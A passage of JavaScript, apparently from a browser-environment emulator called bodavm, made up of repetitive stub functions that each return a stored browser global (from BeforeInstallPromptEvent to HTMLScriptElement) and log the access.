bodavm.memory.globalobj['BeforeInstallPromptEvent']; console.log(`window_BeforeInstallPromptEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BeforeUnloadEvent = function () { let arg = bodavm.memory.globalobj['BeforeUnloadEvent']; console.log(`window_BeforeUnloadEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BiquadFilterNode = function () { let arg = bodavm.memory.globalobj['BiquadFilterNode']; console.log(`window_BiquadFilterNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Blob = function () { let arg = bodavm.memory.globalobj['Blob']; console.log(`window_Blob`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BlobEvent = function () { let arg = bodavm.memory.globalobj['BlobEvent']; console.log(`window_BlobEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BroadcastChannel = function () { let arg = bodavm.memory.globalobj['BroadcastChannel']; console.log(`window_BroadcastChannel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ByteLengthQueuingStrategy = function () { let arg = bodavm.memory.globalobj['ByteLengthQueuingStrategy']; console.log(`window_ByteLengthQueuingStrategy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CDATASection = function () { let arg = bodavm.memory.globalobj['CDATASection']; console.log(`window_CDATASection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSConditionRule = function () { let arg = bodavm.memory.globalobj['CSSConditionRule']; console.log(`window_CSSConditionRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSCounterStyleRule = function () { let arg = bodavm.memory.globalobj['CSSCounterStyleRule']; console.log(`window_CSSCounterStyleRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSFontFaceRule = function () { let arg = bodavm.memory.globalobj['CSSFontFaceRule']; console.log(`window_CSSFontFaceRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSGroupingRule = function () { let arg = bodavm.memory.globalobj['CSSGroupingRule']; console.log(`window_CSSGroupingRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSImageValue = function () { let arg = bodavm.memory.globalobj['CSSImageValue']; console.log(`window_CSSImageValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSImportRule = function () { let arg = bodavm.memory.globalobj['CSSImportRule']; console.log(`window_CSSImportRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSKeyframeRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframeRule']; console.log(`window_CSSKeyframeRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSKeyframesRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframesRule']; console.log(`window_CSSKeyframesRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSKeywordValue = function () { let arg = bodavm.memory.globalobj['CSSKeywordValue']; console.log(`window_CSSKeywordValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSLayerBlockRule = function () { let arg = bodavm.memory.globalobj['CSSLayerBlockRule']; console.log(`window_CSSLayerBlockRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSLayerStatementRule = function () { let arg = bodavm.memory.globalobj['CSSLayerStatementRule']; console.log(`window_CSSLayerStatementRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathClamp = function () { let arg = bodavm.memory.globalobj['CSSMathClamp']; console.log(`window_CSSMathClamp`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathInvert = function () { let arg = bodavm.memory.globalobj['CSSMathInvert']; console.log(`window_CSSMathInvert`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathMax = function () { let arg = bodavm.memory.globalobj['CSSMathMax']; console.log(`window_CSSMathMax`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathMin = function () { let arg = bodavm.memory.globalobj['CSSMathMin']; console.log(`window_CSSMathMin`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathNegate = function () { let arg = bodavm.memory.globalobj['CSSMathNegate']; console.log(`window_CSSMathNegate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathProduct = function () { let arg = bodavm.memory.globalobj['CSSMathProduct']; console.log(`window_CSSMathProduct`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathSum = function () { let arg = bodavm.memory.globalobj['CSSMathSum']; console.log(`window_CSSMathSum`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathValue = function () { let arg = bodavm.memory.globalobj['CSSMathValue']; console.log(`window_CSSMathValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMatrixComponent = function () { let arg = bodavm.memory.globalobj['CSSMatrixComponent']; console.log(`window_CSSMatrixComponent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMediaRule = function () { let arg = bodavm.memory.globalobj['CSSMediaRule']; console.log(`window_CSSMediaRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSNamespaceRule = function () { let arg = bodavm.memory.globalobj['CSSNamespaceRule']; console.log(`window_CSSNamespaceRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSNumericArray = function () { let arg = bodavm.memory.globalobj['CSSNumericArray']; console.log(`window_CSSNumericArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSNumericValue = function () { let arg = bodavm.memory.globalobj['CSSNumericValue']; console.log(`window_CSSNumericValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPageRule = function () { let arg = bodavm.memory.globalobj['CSSPageRule']; console.log(`window_CSSPageRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPerspective = function () { let arg = bodavm.memory.globalobj['CSSPerspective']; console.log(`window_CSSPerspective`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPositionValue = function () { let arg = bodavm.memory.globalobj['CSSPositionValue']; console.log(`window_CSSPositionValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPropertyRule = function () { let arg = bodavm.memory.globalobj['CSSPropertyRule']; console.log(`window_CSSPropertyRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSRotate = function () { let arg = bodavm.memory.globalobj['CSSRotate']; console.log(`window_CSSRotate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSRule = function () { let arg = bodavm.memory.globalobj['CSSRule']; console.log(`window_CSSRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSRuleList = function () { let arg = bodavm.memory.globalobj['CSSRuleList']; console.log(`window_CSSRuleList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSScale = function () { let arg = bodavm.memory.globalobj['CSSScale']; console.log(`window_CSSScale`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSkew = function () { let arg = bodavm.memory.globalobj['CSSSkew']; console.log(`window_CSSSkew`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSkewX = function () { let arg = bodavm.memory.globalobj['CSSSkewX']; console.log(`window_CSSSkewX`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSkewY = function () { let arg = bodavm.memory.globalobj['CSSSkewY']; console.log(`window_CSSSkewY`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleDeclaration = function () { let arg = bodavm.memory.globalobj['CSSStyleDeclaration']; console.log(`window_CSSStyleDeclaration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleRule = function () { let arg = bodavm.memory.globalobj['CSSStyleRule']; console.log(`window_CSSStyleRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleSheet = function () { let arg = bodavm.memory.globalobj['CSSStyleSheet']; console.log(`window_CSSStyleSheet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleValue = function () { let arg = bodavm.memory.globalobj['CSSStyleValue']; console.log(`window_CSSStyleValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSupportsRule = function () { let arg = bodavm.memory.globalobj['CSSSupportsRule']; console.log(`window_CSSSupportsRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTransformComponent = function () { let arg = bodavm.memory.globalobj['CSSTransformComponent']; console.log(`window_CSSTransformComponent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTransformValue = function () { let arg = bodavm.memory.globalobj['CSSTransformValue']; console.log(`window_CSSTransformValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTranslate = function () { let arg = bodavm.memory.globalobj['CSSTranslate']; console.log(`window_CSSTranslate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSUnitValue = function () { let arg = bodavm.memory.globalobj['CSSUnitValue']; console.log(`window_CSSUnitValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSUnparsedValue = function () { let arg = bodavm.memory.globalobj['CSSUnparsedValue']; console.log(`window_CSSUnparsedValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSVariableReferenceValue = function () { let arg = bodavm.memory.globalobj['CSSVariableReferenceValue']; console.log(`window_CSSVariableReferenceValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasCaptureMediaStreamTrack = function () { let arg = bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack']; console.log(`window_CanvasCaptureMediaStreamTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasFilter = function () { let arg = bodavm.memory.globalobj['CanvasFilter']; console.log(`window_CanvasFilter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasGradient = function () { let arg = bodavm.memory.globalobj['CanvasGradient']; console.log(`window_CanvasGradient`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasPattern = function () { let arg = bodavm.memory.globalobj['CanvasPattern']; console.log(`window_CanvasPattern`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['CanvasRenderingContext2D']; console.log(`window_CanvasRenderingContext2D`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ChannelMergerNode = function () { let arg = bodavm.memory.globalobj['ChannelMergerNode']; console.log(`window_ChannelMergerNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ChannelSplitterNode = function () { let arg = bodavm.memory.globalobj['ChannelSplitterNode']; console.log(`window_ChannelSplitterNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CharacterData = function () { let arg = bodavm.memory.globalobj['CharacterData']; console.log(`window_CharacterData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ClipboardEvent = function () { let arg = bodavm.memory.globalobj['ClipboardEvent']; console.log(`window_ClipboardEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CloseEvent = function () { let arg = bodavm.memory.globalobj['CloseEvent']; console.log(`window_CloseEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Comment = function () { let arg = bodavm.memory.globalobj['Comment']; console.log(`window_Comment`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CompositionEvent = function () { let arg = bodavm.memory.globalobj['CompositionEvent']; console.log(`window_CompositionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CompressionStream = function () { let arg = bodavm.memory.globalobj['CompressionStream']; console.log(`window_CompressionStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ConstantSourceNode = function () { let arg = bodavm.memory.globalobj['ConstantSourceNode']; console.log(`window_ConstantSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ConvolverNode = function () { let arg = bodavm.memory.globalobj['ConvolverNode']; console.log(`window_ConvolverNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CountQueuingStrategy = function () { let arg = bodavm.memory.globalobj['CountQueuingStrategy']; console.log(`window_CountQueuingStrategy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Crypto = function () { let arg = bodavm.memory.globalobj['Crypto']; console.log(`window_Crypto`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CustomEvent = function () { let arg = bodavm.memory.globalobj['CustomEvent']; console.log(`window_CustomEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMError = function () { let arg = bodavm.memory.globalobj['DOMError']; console.log(`window_DOMError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMException = function () { let arg = bodavm.memory.globalobj['DOMException']; console.log(`window_DOMException`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMImplementation = function () { let arg = bodavm.memory.globalobj['DOMImplementation']; console.log(`window_DOMImplementation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log(`window_DOMMatrix`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMMatrixReadOnly = function () { let arg = bodavm.memory.globalobj['DOMMatrixReadOnly']; console.log(`window_DOMMatrixReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMParser = function () { let arg = bodavm.memory.globalobj['DOMParser']; console.log(`window_DOMParser`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMPoint = function () { let arg = bodavm.memory.globalobj['DOMPoint']; console.log(`window_DOMPoint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMPointReadOnly = function () { let arg = bodavm.memory.globalobj['DOMPointReadOnly']; console.log(`window_DOMPointReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMQuad = function () { let arg = bodavm.memory.globalobj['DOMQuad']; console.log(`window_DOMQuad`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMRect = function () { let arg = bodavm.memory.globalobj['DOMRect']; console.log(`window_DOMRect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMRectList = function () { let arg = bodavm.memory.globalobj['DOMRectList']; console.log(`window_DOMRectList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMRectReadOnly = function () { let arg = bodavm.memory.globalobj['DOMRectReadOnly']; console.log(`window_DOMRectReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMStringList = function () { let arg = bodavm.memory.globalobj['DOMStringList']; console.log(`window_DOMStringList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMStringMap = function () { let arg = bodavm.memory.globalobj['DOMStringMap']; console.log(`window_DOMStringMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMTokenList = function () { let arg = bodavm.memory.globalobj['DOMTokenList']; console.log(`window_DOMTokenList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DataTransfer = function () { let arg = bodavm.memory.globalobj['DataTransfer']; console.log(`window_DataTransfer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DataTransferItem = function () { let arg = bodavm.memory.globalobj['DataTransferItem']; console.log(`window_DataTransferItem`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DataTransferItemList = function () { let arg = bodavm.memory.globalobj['DataTransferItemList']; console.log(`window_DataTransferItemList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DecompressionStream = function () { let arg = bodavm.memory.globalobj['DecompressionStream']; console.log(`window_DecompressionStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DelayNode = function () { let arg = bodavm.memory.globalobj['DelayNode']; console.log(`window_DelayNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DocumentFragment = function () { let arg = bodavm.memory.globalobj['DocumentFragment']; console.log(`window_DocumentFragment`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DocumentType = function () { let arg = bodavm.memory.globalobj['DocumentType']; console.log(`window_DocumentType`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DragEvent = function () { let arg = bodavm.memory.globalobj['DragEvent']; console.log(`window_DragEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DynamicsCompressorNode = function () { let arg = bodavm.memory.globalobj['DynamicsCompressorNode']; console.log(`window_DynamicsCompressorNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Element = function () { let arg = bodavm.memory.globalobj['Element']; console.log(`window_Element`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ElementInternals = function () { let arg = bodavm.memory.globalobj['ElementInternals']; console.log(`window_ElementInternals`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ErrorEvent = function () { let arg = bodavm.memory.globalobj['ErrorEvent']; console.log(`window_ErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Event = function () { let arg = bodavm.memory.globalobj['Event']; console.log(`window_Event`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EventCounts = function () { let arg = bodavm.memory.globalobj['EventCounts']; console.log(`window_EventCounts`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EventSource = function () { let arg = bodavm.memory.globalobj['EventSource']; console.log(`window_EventSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EventTarget = function () { let arg = bodavm.memory.globalobj['EventTarget']; console.log(`window_EventTarget`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FeaturePolicy = function () { let arg = bodavm.memory.globalobj['FeaturePolicy']; console.log(`window_FeaturePolicy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_File = function () { let arg = bodavm.memory.globalobj['File']; console.log(`window_File`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileList = function () { let arg = bodavm.memory.globalobj['FileList']; console.log(`window_FileList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileReader = function () { let arg = bodavm.memory.globalobj['FileReader']; console.log(`window_FileReader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FocusEvent = function () { let arg = bodavm.memory.globalobj['FocusEvent']; console.log(`window_FocusEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FontFace = function () { let arg = bodavm.memory.globalobj['FontFace']; console.log(`window_FontFace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FontFaceSetLoadEvent = function () { let arg = bodavm.memory.globalobj['FontFaceSetLoadEvent']; console.log(`window_FontFaceSetLoadEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FormData = function () { let arg = bodavm.memory.globalobj['FormData']; console.log(`window_FormData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FormDataEvent = function () { let arg = bodavm.memory.globalobj['FormDataEvent']; console.log(`window_FormDataEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GainNode = function () { let arg = bodavm.memory.globalobj['GainNode']; console.log(`window_GainNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Gamepad = function () { let arg = bodavm.memory.globalobj['Gamepad']; console.log(`window_Gamepad`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GamepadButton = function () { let arg = bodavm.memory.globalobj['GamepadButton']; console.log(`window_GamepadButton`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GamepadEvent = function () { let arg = bodavm.memory.globalobj['GamepadEvent']; console.log(`window_GamepadEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GamepadHapticActuator = function () { let arg = bodavm.memory.globalobj['GamepadHapticActuator']; console.log(`window_GamepadHapticActuator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Geolocation = function () { let arg = bodavm.memory.globalobj['Geolocation']; console.log(`window_Geolocation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GeolocationCoordinates = function () { let arg = bodavm.memory.globalobj['GeolocationCoordinates']; console.log(`window_GeolocationCoordinates`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GeolocationPosition = function () { let arg = bodavm.memory.globalobj['GeolocationPosition']; console.log(`window_GeolocationPosition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GeolocationPositionError = function () { let arg = bodavm.memory.globalobj['GeolocationPositionError']; console.log(`window_GeolocationPositionError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAllCollection = function () { let arg = bodavm.memory.globalobj['HTMLAllCollection']; console.log(`window_HTMLAllCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAnchorElement = function () { let arg = bodavm.memory.globalobj['HTMLAnchorElement']; console.log(`window_HTMLAnchorElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLAreaElement']; console.log(`window_HTMLAreaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAudioElement = function () { let arg = bodavm.memory.globalobj['HTMLAudioElement']; console.log(`window_HTMLAudioElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLBRElement = function () { let arg = bodavm.memory.globalobj['HTMLBRElement']; console.log(`window_HTMLBRElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLBaseElement = function () { let arg = bodavm.memory.globalobj['HTMLBaseElement']; console.log(`window_HTMLBaseElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLBodyElement = function () { let arg = bodavm.memory.globalobj['HTMLBodyElement']; console.log(`window_HTMLBodyElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLButtonElement = function () { let arg = bodavm.memory.globalobj['HTMLButtonElement']; console.log(`window_HTMLButtonElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLCanvasElement = function () { let arg = bodavm.memory.globalobj['HTMLCanvasElement']; console.log(`window_HTMLCanvasElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLCollection = function () { let arg = bodavm.memory.globalobj['HTMLCollection']; console.log(`window_HTMLCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDListElement = function () { let arg = bodavm.memory.globalobj['HTMLDListElement']; console.log(`window_HTMLDListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDataElement = function () { let arg = bodavm.memory.globalobj['HTMLDataElement']; console.log(`window_HTMLDataElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDataListElement = function () { let arg = bodavm.memory.globalobj['HTMLDataListElement']; console.log(`window_HTMLDataListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDetailsElement = function () { let arg = bodavm.memory.globalobj['HTMLDetailsElement']; console.log(`window_HTMLDetailsElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDialogElement = function () { let arg = bodavm.memory.globalobj['HTMLDialogElement']; console.log(`window_HTMLDialogElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDirectoryElement = function () { let arg = bodavm.memory.globalobj['HTMLDirectoryElement']; console.log(`window_HTMLDirectoryElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDivElement = function () { let arg = bodavm.memory.globalobj['HTMLDivElement']; console.log(`window_HTMLDivElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDocument = function () { let arg = bodavm.memory.globalobj['HTMLDocument']; console.log(`window_HTMLDocument`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLElement = function () { let arg = bodavm.memory.globalobj['HTMLElement']; console.log(`window_HTMLElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLEmbedElement = function () { let arg = bodavm.memory.globalobj['HTMLEmbedElement']; console.log(`window_HTMLEmbedElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFieldSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFieldSetElement']; console.log(`window_HTMLFieldSetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFontElement = function () { let arg = bodavm.memory.globalobj['HTMLFontElement']; console.log(`window_HTMLFontElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFormControlsCollection = function () { let arg = bodavm.memory.globalobj['HTMLFormControlsCollection']; console.log(`window_HTMLFormControlsCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFormElement = function () { let arg = bodavm.memory.globalobj['HTMLFormElement']; console.log(`window_HTMLFormElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameElement']; console.log(`window_HTMLFrameElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFrameSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameSetElement']; console.log(`window_HTMLFrameSetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHRElement = function () { let arg = bodavm.memory.globalobj['HTMLHRElement']; console.log(`window_HTMLHRElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHeadElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadElement']; console.log(`window_HTMLHeadElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHeadingElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadingElement']; console.log(`window_HTMLHeadingElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHtmlElement = function () { let arg = bodavm.memory.globalobj['HTMLHtmlElement']; console.log(`window_HTMLHtmlElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLIFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLIFrameElement']; console.log(`window_HTMLIFrameElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLImageElement = function () { let arg = bodavm.memory.globalobj['HTMLImageElement']; console.log(`window_HTMLImageElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLInputElement = function () { let arg = bodavm.memory.globalobj['HTMLInputElement']; console.log(`window_HTMLInputElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLIElement = function () { let arg = bodavm.memory.globalobj['HTMLLIElement']; console.log(`window_HTMLLIElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLabelElement = function () { let arg = bodavm.memory.globalobj['HTMLLabelElement']; console.log(`window_HTMLLabelElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLegendElement = function () { let arg = bodavm.memory.globalobj['HTMLLegendElement']; console.log(`window_HTMLLegendElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLinkElement = function () { let arg = bodavm.memory.globalobj['HTMLLinkElement']; console.log(`window_HTMLLinkElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMapElement = function () { let arg = bodavm.memory.globalobj['HTMLMapElement']; console.log(`window_HTMLMapElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMarqueeElement = function () { let arg = bodavm.memory.globalobj['HTMLMarqueeElement']; console.log(`window_HTMLMarqueeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMediaElement = function () { let arg = bodavm.memory.globalobj['HTMLMediaElement']; console.log(`window_HTMLMediaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMenuElement = function () { let arg = bodavm.memory.globalobj['HTMLMenuElement']; console.log(`window_HTMLMenuElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMetaElement = function () { let arg = bodavm.memory.globalobj['HTMLMetaElement']; console.log(`window_HTMLMetaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMeterElement = function () { let arg = bodavm.memory.globalobj['HTMLMeterElement']; console.log(`window_HTMLMeterElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLModElement = function () { let arg = bodavm.memory.globalobj['HTMLModElement']; console.log(`window_HTMLModElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOListElement = function () { let arg = bodavm.memory.globalobj['HTMLOListElement']; console.log(`window_HTMLOListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLObjectElement = function () { let arg = bodavm.memory.globalobj['HTMLObjectElement']; console.log(`window_HTMLObjectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOptGroupElement = function () { let arg = bodavm.memory.globalobj['HTMLOptGroupElement']; console.log(`window_HTMLOptGroupElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOptionElement = function () { let arg = bodavm.memory.globalobj['HTMLOptionElement']; console.log(`window_HTMLOptionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOptionsCollection = function () { let arg = bodavm.memory.globalobj['HTMLOptionsCollection']; console.log(`window_HTMLOptionsCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOutputElement = function () { let arg = bodavm.memory.globalobj['HTMLOutputElement']; console.log(`window_HTMLOutputElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLParagraphElement = function () { let arg = bodavm.memory.globalobj['HTMLParagraphElement']; console.log(`window_HTMLParagraphElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLParamElement = function () { let arg = bodavm.memory.globalobj['HTMLParamElement']; console.log(`window_HTMLParamElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLPictureElement = function () { let arg = bodavm.memory.globalobj['HTMLPictureElement']; console.log(`window_HTMLPictureElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLPreElement = function () { let arg = bodavm.memory.globalobj['HTMLPreElement']; console.log(`window_HTMLPreElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLProgressElement = function () { let arg = bodavm.memory.globalobj['HTMLProgressElement']; console.log(`window_HTMLProgressElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLQuoteElement = function () { let arg = bodavm.memory.globalobj['HTMLQuoteElement']; console.log(`window_HTMLQuoteElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLScriptElement = function () { let arg = 